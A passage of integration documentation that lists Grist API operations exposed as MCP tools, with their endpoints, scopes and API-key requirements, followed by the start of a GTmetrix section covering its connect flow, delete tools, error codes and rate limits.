/api/v1/grist/docs/{docId}. Scopes: api. grist_get_docs_by_docid_access (read) — List users with access to document. GET /docs/{docId}/access. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/docs/{docId}/access. Scopes: api. grist_get_docs_by_docid_attachments (read) — List metadata of all attachments in a doc. GET /docs/{docId}/attachments. GET /api/v1/grist/docs/{docId}/attachments. Scopes: doc:read. grist_get_docs_by_docid_attachments_archive (read) — Download all attachments. GET /docs/{docId}/attachments/archive. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/docs/{docId}/attachments/archive. Scopes: api. grist_get_docs_by_docid_attachments_by_attachmentid (read) — Get the metadata for an attachment. GET /docs/{docId}/attachments/{attachmentId}. GET /api/v1/grist/docs/{docId}/attachments/{attachmentId}. Scopes: doc:read. grist_get_docs_by_docid_attachments_by_attachmentid_download (read) — Download the contents of an attachment. GET /docs/{docId}/attachments/{attachmentId}/download. GET /api/v1/grist/docs/{docId}/attachments/{attachmentId}/download. Scopes: doc:read. grist_get_docs_by_docid_attachments_store (read) — Get external store. GET /docs/{docId}/attachments/store. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/docs/{docId}/attachments/store. Scopes: api. grist_get_docs_by_docid_attachments_stores (read) — List external attachment stores. GET /docs/{docId}/attachments/stores. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/docs/{docId}/attachments/stores. Scopes: api. grist_get_docs_by_docid_attachments_transferstatus (read) — Get attachment transfer status. GET /docs/{docId}/attachments/transferStatus. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/docs/{docId}/attachments/transferStatus. Scopes: api. grist_get_docs_by_docid_compare (read) — Compare document versions. GET /docs/{docId}/compare. Compare two versions of the same document by their state hashes. Returns details about what changed between the versions. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/docs/{docId}/compare. Scopes: api. grist_get_docs_by_docid_compare_by_docid2 (read) — Compare two documents. GET /docs/{docId}/compare/{docId2}. Compare this document with another document. Useful for comparing a fork with its trunk document. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/docs/{docId}/compare/{docId2}. Scopes: api. grist_get_docs_by_docid_download_csv (read) — Content of table, as a CSV file. GET /docs/{docId}/download/csv. GET /api/v1/grist/docs/{docId}/download/csv. Scopes: doc:read. grist_get_docs_by_docid_download_dsv (read) — Content of table, as a DSV file. GET /docs/{docId}/download/dsv. Download table data using a custom delimiter (💩). GET /api/v1/grist/docs/{docId}/download/dsv. Scopes: doc:read. grist_get_docs_by_docid_forms_by_viewsectionid (read) — Get form view data. GET /docs/{docId}/forms/{viewSectionId}. Get the form configuration for a specific view section. Forms are a special view type that allows external users to submit data. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/docs/{docId}/forms/{viewSectionId}. Scopes: api. grist_get_docs_by_docid_proposals (read) — List change proposals. GET /docs/{docId}/proposals. List proposals associated with a document. Proposals are suggested changes from forks that can be reviewed and applied to the trunk document. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/docs/{docId}/proposals. Scopes: api. grist_get_docs_by_docid_snapshots (read) — List document snapshots. GET /docs/{docId}/snapshots. Returns a list of snapshots (backups) of the document. Snapshots are created automatically as the document is edited. Most recent snapshots are listed first. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/docs/{docId}/snapshots. Scopes: api. grist_get_docs_by_docid_sql (read) — Run an SQL query against a document. GET /docs/{docId}/sql. Execute a read-only SQL SELECT query against the document's SQLite database. This is a simplified endpoint for basic queries. For queries with parameters or custom timeouts, use the POST endpoint instead. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/docs/{docId}/sql. Scopes: api. grist_get_docs_by_docid_states (read) — Get document action history states. GET /docs/{docId}/states. Returns a list of document states representing the action history. Each state has a sequential number (n) and a hash (h) that uniquely identifies that point in history. Most recent state is first. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/docs/{docId}/states. Scopes: api. grist_get_docs_by_docid_tables (read) — List tables in a document. GET /docs/{docId}/tables. GET /api/v1/grist/docs/{docId}/tables. Scopes: doc:read. grist_get_docs_by_docid_tables_by_tableid_columns (read) — List columns in a table. GET /docs/{docId}/tables/{tableId}/columns. GET /api/v1/grist/docs/{docId}/tables/{tableId}/columns. Scopes: doc:read. grist_get_docs_by_docid_tables_by_tableid_data (read) — Fetch data from a table. GET /docs/{docId}/tables/{tableId}/data. Deprecated in favor of `records` endpoints. We have no immediate plans to remove these endpoints, but consider `records` a better starting point for new projects. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/docs/{docId}/tables/{tableId}/data. Scopes: api. grist_get_docs_by_docid_tables_by_tableid_records (read) — Fetch records from a table. GET /docs/{docId}/tables/{tableId}/records. GET /api/v1/grist/docs/{docId}/tables/{tableId}/records. Scopes: doc:read. grist_get_docs_by_docid_timing (read) — Get formula timing status. GET /docs/{docId}/timing. Check if formula timing is enabled for a document and retrieve timing data if available. Only document owners can access timing information. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/docs/{docId}/timing. Scopes: api. grist_get_docs_by_docid_usersforviewas (read) — Get users for 'View As' feature. GET /docs/{docId}/usersForViewAs. Get users that can be used with the "View As" feature for testing access rules. Only document owners can call this endpoint. Users are drawn from: Users the document is shared with Users mentioned in user attribute tables Predefined example users REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/docs/{docId}/usersForViewAs. Scopes: api. grist_get_docs_by_docid_webhooks (read) — Webhooks associated with a document. GET /docs/{docId}/webhooks. Returns all webhooks configured for this document, including their settings and delivery statistics. GET /api/v1/grist/docs/{docId}/webhooks. Scopes: doc:webhooks. grist_get_orgs (read) — List the orgs you have access to. GET /orgs. This enumerates all the team sites or personal areas available. GET /api/v1/grist/orgs. Scopes: none. grist_get_orgs_by_orgid (read) — Describe an org. GET /orgs/{orgId}. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/orgs/{orgId}. Scopes: api. grist_get_orgs_by_orgid_access (read) — List users with access to org. GET /orgs/{orgId}/access. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/orgs/{orgId}/access. Scopes: api. grist_get_orgs_by_orgid_usage (read) — Get organization usage summary. GET /orgs/{orgId}/usage. Get usage statistics for all non-deleted documents in the organization. Only accessible to organization owners. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/orgs/{orgId}/usage. Scopes: api. grist_get_orgs_by_orgid_workspaces (read) — List workspaces and documents within an org. GET /orgs/{orgId}/workspaces. GET /api/v1/grist/orgs/{orgId}/workspaces. Scopes: none. grist_get_profile_apikey (read) — Get user's API key. GET /profile/apikey. Returns the current user's API key if one exists. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/profile/apikey. Scopes: api. grist_get_profile_user (read) — Get current user's profile. GET /profile/user. Returns the profile information of the currently authenticated user. GET /api/v1/grist/profile/user. Scopes: user.profile:read. grist_get_service_accounts (read) — Get all your service accounts. GET /service-accounts. This lists all your service accounts with their details. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/service-accounts. Scopes: api. grist_get_service_accounts_by_said (read) — Get a service account's details. GET /service-accounts/{saId}. This reports the details of a service account. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/service-accounts/{saId}. Scopes: api. grist_get_session_access_active (read) — Get active session information. GET /session/access/active. Returns information about the active user and organization for the current session. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/session/access/active. Scopes: api. grist_get_session_access_all (read) — Get all session users and organizations. GET /session/access/all. Returns all user profiles logged into the current session and all organizations they can access. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/session/access/all. Scopes: api. grist_get_templates (read) — List available templates. GET /templates. Get all available templates. Templates are organized by workspace within a template organization configured on the server. Note: Requires a template organization to be configured on the server. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/templates. Scopes: api. grist_get_templates_by_templateid (read) — Get template details. GET /templates/{templateId}. Get information about a specific template. Note: Requires a template organization to be configured on the server. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/templates/{templateId}. Scopes: api. grist_get_widgets (read) — List available custom widgets. GET /widgets. Get all widget definitions from the configured widget repository. Custom widgets extend Grist's functionality with specialized views. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/widgets. Scopes: api. grist_get_workspaces_by_workspaceid (read) — Describe a workspace. GET /workspaces/{workspaceId}. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/workspaces/{workspaceId}. Scopes: api. grist_get_workspaces_by_workspaceid_access (read) — List users with access to workspace. GET /workspaces/{workspaceId}/access. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET /api/v1/grist/workspaces/{workspaceId}/access. Scopes: api. grist_patch_docs_by_docid (write) — Modify document metadata (but not its contents). PATCH /docs/{docId}. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. PATCH /api/v1/grist/docs/{docId}. Scopes: api. grist_patch_docs_by_docid_access (write) — Change who has access to document. PATCH /docs/{docId}/access. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. PATCH /api/v1/grist/docs/{docId}/access. Scopes: api. grist_patch_docs_by_docid_move (write) — Move document to another workspace.. PATCH /docs/{docId}/move. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. PATCH /api/v1/grist/docs/{docId}/move. Scopes: api. grist_patch_docs_by_docid_pin (write) — Pin a document. PATCH /docs/{docId}/pin. Pin the document so it appears in a prominent location. Pinned documents are displayed at the top of workspace listings for easy access. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. PATCH /api/v1/grist/docs/{docId}/pin. Scopes: api. grist_patch_docs_by_docid_tables (write) — Modify tables of a document. PATCH /docs/{docId}/tables. Modify metadata for existing tables. This endpoint is primarily useful for: Renaming tables (via the `tableId` field) Setting on-demand loading (via the `onDemand` field) PATCH /api/v1/grist/docs/{docId}/tables. Scopes: doc.schema:write. grist_patch_docs_by_docid_tables_by_tableid_columns (write) — Modify columns of a table. PATCH /docs/{docId}/tables/{tableId}/columns. PATCH /api/v1/grist/docs/{docId}/tables/{tableId}/columns. Scopes: doc.schema:write. grist_patch_docs_by_docid_tables_by_tableid_data (write) — Modify rows of a table. PATCH /docs/{docId}/tables/{tableId}/data. Deprecated in favor of `records` endpoints. We have no immediate plans to remove these endpoints, but consider `records` a better starting point for new projects. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. PATCH /api/v1/grist/docs/{docId}/tables/{tableId}/data. Scopes: api. grist_patch_docs_by_docid_tables_by_tableid_records (write) — Modify records of a table. PATCH /docs/{docId}/tables/{tableId}/records. PATCH /api/v1/grist/docs/{docId}/tables/{tableId}/records. Scopes: doc:write. grist_patch_docs_by_docid_unpin (write) — Unpin a document. PATCH /docs/{docId}/unpin. Remove the pinned status from a document. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. PATCH /api/v1/grist/docs/{docId}/unpin. Scopes: api. grist_patch_docs_by_docid_webhooks_by_webhookid (write) — Modify a webhook. PATCH /docs/{docId}/webhooks/{webhookId}. Update the configuration of an existing webhook, such as its URL, enabled state, or event types. PATCH /api/v1/grist/docs/{docId}/webhooks/{webhookId}. Scopes: doc:webhooks. grist_patch_orgs_by_orgid (write) — Modify an org. PATCH /orgs/{orgId}. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. PATCH /api/v1/grist/orgs/{orgId}. Scopes: api. grist_patch_orgs_by_orgid_access (write) — Change who has access to org. PATCH /orgs/{orgId}/access. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. PATCH /api/v1/grist/orgs/{orgId}/access. Scopes: api. grist_patch_service_accounts_by_said (write) — Modify a service account. PATCH /service-accounts/{saId}. This updates a service account's label, description or expiration date. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. PATCH /api/v1/grist/service-accounts/{saId}. Scopes: api. grist_patch_workspaces_by_workspaceid (write) — Modify a workspace. PATCH /workspaces/{workspaceId}. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. PATCH /api/v1/grist/workspaces/{workspaceId}. Scopes: api. grist_patch_workspaces_by_workspaceid_access (write) — Change who has access to workspace. PATCH /workspaces/{workspaceId}/access. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. PATCH /api/v1/grist/workspaces/{workspaceId}/access. Scopes: api. grist_post_docs (write) — Create a document. POST /docs. A unified endpoint for creating documents. Can create an empty document, copy an existing document, or import a file. To create an empty unsaved document: provide no parameters To create an empty saved document: provide `workspaceId` To copy an existing document: provide `sourceDocumentId`, `workspaceId`, and `documentName` To import a file: use multipart/form-data with a file upload and optional `workspaceId` REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs. Scopes: api. grist_post_docs_by_docid_apply (write) — Apply a list of user actions. POST /docs/{docId}/apply. Apply a sequence of user actions to a document. This is a low-level endpoint for making batch changes using Grist's internal action format. Each action is an array where the first element is the action type. Common action types: `["AddRecord", tableId, rowId, {column: value}]` - Add a row (use null for auto-assigned rowId) `["UpdateRecord", tableId, rowId, {column: value}]` - Update a row `["RemoveRecord", tableId, rowId]` - Delete a row `["BulkAddRecord", tableId, [rowIds], {column: [values]}]` - Add multiple rows `["BulkUpdateRecord", tableId, [rowIds], {column: [values]}]` - Update multiple rows `["BulkRemoveRecord", tableId, [rowIds]]` - Delete multiple rows `["AddColumn", tableId, colId, {type,...}]` - Add a column `["RemoveColumn", tableId, colId]` - Remove a column `["RenameColumn", tableId, oldColId, newColId]` - Rename a column `["AddTable", tableId, [{id, type,...}]]` - Add a table `["RemoveTable", tableId]` - Remove a table REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/apply. Scopes: api. grist_post_docs_by_docid_assign (write) — Reassign document to appropriate worker. POST /docs/{docId}/assign. Administrative endpoint that checks if a document is assigned to the expected worker group and frees it for reassignment if not. Used for load balancing and maintenance operations. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/assign. Scopes: api. grist_post_docs_by_docid_attachments_removeunused (write) — Delete unused attachments from the document. POST /docs/{docId}/attachments/removeUnused. When an uploaded attachment is no longer used in a Grist document, it's retained for a period of time in case it's needed again (e.g. to facilitate an "undo"). This removes all of these retained attachments, reducing the amount of storage used. This is particularly useful if a document has hit its attachment storage limit. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/attachments/removeUnused. Scopes: api. grist_post_docs_by_docid_attachments_store (write) — Set external store. POST /docs/{docId}/attachments/store. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/attachments/store. Scopes: api. grist_post_docs_by_docid_attachments_transferall (write) — Start transferring attachments. POST /docs/{docId}/attachments/transferAll. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/attachments/transferAll. Scopes: api. grist_post_docs_by_docid_attachments_updateused (write) — Update attachment usage tracking. POST /docs/{docId}/attachments/updateUsed. Recalculate which attachments are in use by scanning the document. This is mostly used for testing and maintenance. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/attachments/updateUsed. Scopes: api. grist_post_docs_by_docid_attachments_verifyfiles (write) — Verify attachment file integrity. POST /docs/{docId}/attachments/verifyFiles. Verify that attachment records match the actual stored files. This is a maintenance endpoint to check for data consistency. Only document owners can call this endpoint. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/attachments/verifyFiles. Scopes: api. grist_post_docs_by_docid_copy (write) — Copies a document to a workspace.. POST /docs/{docId}/copy. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/copy. Scopes: api. grist_post_docs_by_docid_disable (write) — Disable a document.. POST /docs/{docId}/disable. Disabled documents cannot be accessed or modified. Moving and renaming a disabled doc is also forbidden, as well as accessing or submitting published forms associated to a disabled document. Disabled documents, however, can be moved to and restored from the trash. The operation is non-destructive. Disabled documents can be re-enabled. Only admin accounts can disable a document. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/disable. Scopes: api. grist_post_docs_by_docid_enable (write) — Enable a document.. POST /docs/{docId}/enable. If a document has been previously disabled, this will restore all former access to a document, including access to its associated published forms. Only admin accounts can enable a document. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/enable. Scopes: api. grist_post_docs_by_docid_flush (write) — Flush document to storage. POST /docs/{docId}/flush. Ensure all pending changes to the document are written to persistent storage. Returns true if the document was flushed, false if the document was not open. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/flush. Scopes: api. grist_post_docs_by_docid_force_reload (write) — Reload a document. POST /docs/{docId}/force-reload. Closes and reopens the document, forcing the python engine to restart. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/force-reload. Scopes: api. grist_post_docs_by_docid_fork (write) — Fork a document. POST /docs/{docId}/fork. Create a fork of a document. A fork is a personal copy that tracks its relationship to the original document. Forks can be used to experiment with changes before applying them to the original. The fork will have a new docId and urlId that encode the relationship to the trunk (original) document. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/fork. Scopes: api. grist_post_docs_by_docid_proposals_by_proposalid_apply (write) — Apply a change proposal. POST /docs/{docId}/proposals/{proposalId}/apply. Apply a proposal's changes to the document. This merges the fork's changes into the trunk document. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/proposals/{proposalId}/apply. Scopes: api. grist_post_docs_by_docid_propose (write) — Create a change proposal. POST /docs/{docId}/propose. Create a proposal from a fork to its trunk document. The proposal contains the comparison of changes between the fork and trunk. This endpoint can only be called on a fork document. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/propose. Scopes: api. grist_post_docs_by_docid_recover (write) — Set recovery mode for a document. POST /docs/{docId}/recover. Controls the recovery mode of a document. Recovery mode helps in recovering from errors or corrupted states. Only document owners can control recovery mode. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/recover. Scopes: api. grist_post_docs_by_docid_remove (write) — Move document to trash. POST /docs/{docId}/remove. Soft-delete the document by moving it to trash. The document can be restored using the unremove endpoint. If the `permanent` query parameter is set to true, the document is permanently deleted instead. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/remove. Scopes: api. grist_post_docs_by_docid_replace (write) — Replace document content. POST /docs/{docId}/replace. Replace the current document content with content from another source. Can restore from a snapshot or copy from another document. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/replace. Scopes: api. grist_post_docs_by_docid_snapshots_remove (write) — Remove document snapshots. POST /docs/{docId}/snapshots/remove. Remove specific snapshots from a document's backup history. Only document owners can remove snapshots. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/snapshots/remove. Scopes: api. grist_post_docs_by_docid_sql (write) — Run an SQL query against a document, with options or parameters. POST /docs/{docId}/sql. Execute a read-only SQL SELECT query with support for parameterized queries and custom timeouts. All Grist documents are SQLite databases, and queries are executed directly against SQLite with security restrictions. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/sql. Scopes: api. grist_post_docs_by_docid_states_remove (write) — Truncate the document's action history. POST /docs/{docId}/states/remove. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/states/remove. Scopes: api. grist_post_docs_by_docid_tables (write) — Add tables to a document. POST /docs/{docId}/tables. POST /api/v1/grist/docs/{docId}/tables. Scopes: doc.schema:write. grist_post_docs_by_docid_tables_by_tableid_columns (write) — Add columns to a table. POST /docs/{docId}/tables/{tableId}/columns. POST /api/v1/grist/docs/{docId}/tables/{tableId}/columns. Scopes: doc.schema:write. grist_post_docs_by_docid_tables_by_tableid_data (write) — Add rows to a table. POST /docs/{docId}/tables/{tableId}/data. Deprecated in favor of `records` endpoints. We have no immediate plans to remove these endpoints, but consider `records` a better starting point for new projects. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/tables/{tableId}/data. Scopes: api. grist_post_docs_by_docid_tables_by_tableid_data_delete (write) — Delete rows of a table. POST /docs/{docId}/tables/{tableId}/data/delete. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/tables/{tableId}/data/delete. Scopes: api. grist_post_docs_by_docid_tables_by_tableid_records (write) — Add records to a table. POST /docs/{docId}/tables/{tableId}/records. POST /api/v1/grist/docs/{docId}/tables/{tableId}/records. Scopes: doc:write. grist_post_docs_by_docid_tables_by_tableid_records_delete (write) — Delete records of a table. POST /docs/{docId}/tables/{tableId}/records/delete. POST /api/v1/grist/docs/{docId}/tables/{tableId}/records/delete. Scopes: doc:write. grist_post_docs_by_docid_timing_start (write) — Start formula timing. POST /docs/{docId}/timing/start. Start collecting timing information for formula calculations. Only document owners can start timing. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/timing/start. Scopes: api. grist_post_docs_by_docid_timing_stop (write) — Stop formula timing. POST /docs/{docId}/timing/stop. Stop collecting timing information and return the collected data. Only document owners can stop timing. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/timing/stop. Scopes: api. grist_post_docs_by_docid_unremove (write) — Restore document from trash. POST /docs/{docId}/unremove. Recover a document that was previously soft-deleted. Only works if the document is still in the trash. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/docs/{docId}/unremove. Scopes: api. grist_post_docs_by_docid_webhooks (write) — Create new webhooks for a document. POST /docs/{docId}/webhooks. Creates one or more webhooks that will POST to specified URLs when data in the document changes. Returns the IDs of the created webhooks. POST /api/v1/grist/docs/{docId}/webhooks. Scopes: doc:webhooks. grist_post_orgs_by_orgid_workspaces (write) — Create an empty workspace. POST /orgs/{orgId}/workspaces. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/orgs/{orgId}/workspaces. Scopes: api. grist_post_profile_apikey (write) — Create or regenerate API key. POST /profile/apikey. Create a new API key or regenerate an existing one. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/profile/apikey. Scopes: api. grist_post_profile_user_locale (write) — Update user's locale. POST /profile/user/locale. Update the locale preference for the current user. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/profile/user/locale. Scopes: api. grist_post_profile_user_name (write) — Update user's name. POST /profile/user/name. Update the display name for the current user. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/profile/user/name. Scopes: api. grist_post_service_accounts (write) — Create a service account. POST /service-accounts. This creates a new service account with a new API key. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/service-accounts. Scopes: api. grist_post_service_accounts_by_said_apikey (write) — Generate a new service account's api key. POST /service-accounts/{saId}/apikey. This renews an api key of a given service account. Useful especially to change the API key when it has been leaked. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/service-accounts/{saId}/apikey. Scopes: api. grist_post_session_access_active (write) — Set active user for organization. POST /session/access/active. Switch which user account is active for a given organization. Useful when a user has multiple accounts logged in. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/session/access/active. Scopes: api. grist_post_users_by_userid_disable (write) — Disable a user. POST /users/{userId}/disable. A disabled user can not log in and loses access to all pages, including public ones, as well as API access. The operation is non-destructive. Disabled users can be re-enabled. Only admin accounts can disable a user. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/users/{userId}/disable. Scopes: api. grist_post_users_by_userid_enable (write) — Enable a user. POST /users/{userId}/enable. If a user has been disabled, this will restore their access, including API access. Only admin accounts can enable a user. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/users/{userId}/enable. Scopes: api. grist_post_workspaces_by_workspaceid_docs (write) — Create an empty document. POST /workspaces/{workspaceId}/docs. POST /api/v1/grist/workspaces/{workspaceId}/docs. Scopes: doc.schema:write, doc:write. grist_post_workspaces_by_workspaceid_remove (write) — Move workspace to trash. POST /workspaces/{workspaceId}/remove. Soft-delete the workspace by moving it to trash. The workspace can be restored using the unremove endpoint. If the `permanent` query parameter is set to true, the workspace is permanently deleted instead. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/workspaces/{workspaceId}/remove. Scopes: api. grist_post_workspaces_by_workspaceid_unremove (write) — Restore workspace from trash. POST /workspaces/{workspaceId}/unremove. Recover a workspace that was previously soft-deleted. Only works if the workspace is still in the trash. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. POST /api/v1/grist/workspaces/{workspaceId}/unremove. Scopes: api. grist_put_docs_by_docid_tables_by_tableid_columns (write) — Add or update columns of a table. PUT /docs/{docId}/tables/{tableId}/columns. PUT /api/v1/grist/docs/{docId}/tables/{tableId}/columns. Scopes: doc.schema:write. grist_put_docs_by_docid_tables_by_tableid_records (write) — Add or update records of a table. PUT /docs/{docId}/tables/{tableId}/records. PUT /api/v1/grist/docs/{docId}/tables/{tableId}/records. Scopes: doc:write. ================================================================================ ## GTmetrix URL: https://www.agenticfabriq.com/integrations/gtmetrix Section: Integrated Tools GTmetrix — 38 MCP tools Provider key: gtmetrix. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. gtmetrix_delete_page_tags_by_tag_id (write, destructive) — Delete a page tag via DELETE /page_tags/{tag_id}. PERMANENTLY DELETE one page tag and remove it from every page carrying it. There is no undo. The PAGES are untouched -- to take a tag off one page and keep the tag, use Detach tags from a page. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. DELETE /api/v1/gtmetrix/page_tags/{tag_id}. Scopes: api. gtmetrix_delete_pages_by_page_id (write, destructive) — Delete a monitored page via DELETE /pages/{page_id}. PERMANENTLY DELETE one monitored page, its monitoring schedule, its alert conditions and its report history. There is no undo. Deleting a page is not the way to pause monitoring -- Set a page's monitoring frequency with `frequency: none` stops the schedule and keeps the page and its history. TWO 403s HERE ARE NOT CREDENTIAL PROBLEMS, and neither is fixed by pasting a new key. HTTP 403 code E40301 means the key's GTmetrix Team role is insufficient -- a Viewer-role key may not generate tests, delete reports or pages, or create PDF reports -- so the fix is a role change in the Team organization. HTTP 403 code E40300 means the account's e-mail address has never been validated; the fix is to validate it. Only HTTP 401 code E40100 means the key itself is wrong. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. DELETE /api/v1/gtmetrix/pages/{page_id}. Scopes: api. 